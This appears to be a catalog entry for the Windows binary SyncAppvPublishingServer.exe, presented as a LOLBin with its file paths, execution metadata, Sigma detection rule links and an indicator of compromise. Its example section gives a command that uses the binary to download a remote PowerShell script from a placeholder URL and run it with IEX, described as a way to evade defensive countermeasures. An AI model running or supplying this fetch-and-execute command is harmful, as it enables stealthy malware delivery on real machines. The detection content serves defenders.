windows enabled community high v1.0.0

syncappvpublishingserver

Used by App-v to get App-v server lists Located at: C:\Windows\System32\SyncAppvPublishingServer.exe; C:\Windows\SysWOW64\SyncAppvPublishingServer.exe.

📋 Live Preview

syncappvpublishingserver

syncappvpublishingserver

Sandbox: execFile · Timeout: 30s

Capabilities

security.execution.command

Contract

Outputs

process.output

Command execution output

Side effects: process_spawn

Workflow Edges

Produces

process.output

Resource Profile

Resource	Value
CPU	low
Memory	16 MB
Network	low
Disk I/O	low

Examples

Example command on how inject Powershell code into the process (Use SyncAppvPublishingServer as a Powershell host to execute Powershell code. Evade defensive counter measures)

SyncAppvPublishingServer.exe "n;(New-Object Net.WebClient).DownloadString('{REMOTEURL:.ps1}') | IEX"

Detection

Type	Rule / Indicator
sigma	https://github.com/SigmaHQ/sigma/blob/6312dd1d44d309608552105c334948f793e89f48/rules/windows/powershell/powershell_script/posh_ps_syncappvpublishingserver_exe.yml
sigma	https://github.com/SigmaHQ/sigma/blob/6312dd1d44d309608552105c334948f793e89f48/rules/windows/powershell/powershell_module/posh_pm_syncappvpublishingserver_exe.yml
sigma	https://github.com/SigmaHQ/sigma/blob/6312dd1d44d309608552105c334948f793e89f48/rules/windows/process_creation/proc_creation_win_lolbin_syncappvpublishingserver_execute_psh.yml
ioc	SyncAppvPublishingServer.exe should never be in use unless App-V is deployed

Documentation

syncappvpublishingserver

syncappvpublishingserver is a Windows LOLBin. Used by App-v to get App-v server lists Located at: C:\Windows\System32\SyncAppvPublishingServer.exe; C:\Windows\SysWOW64\SyncAppvPublishingServer.exe.

References

895045566090010624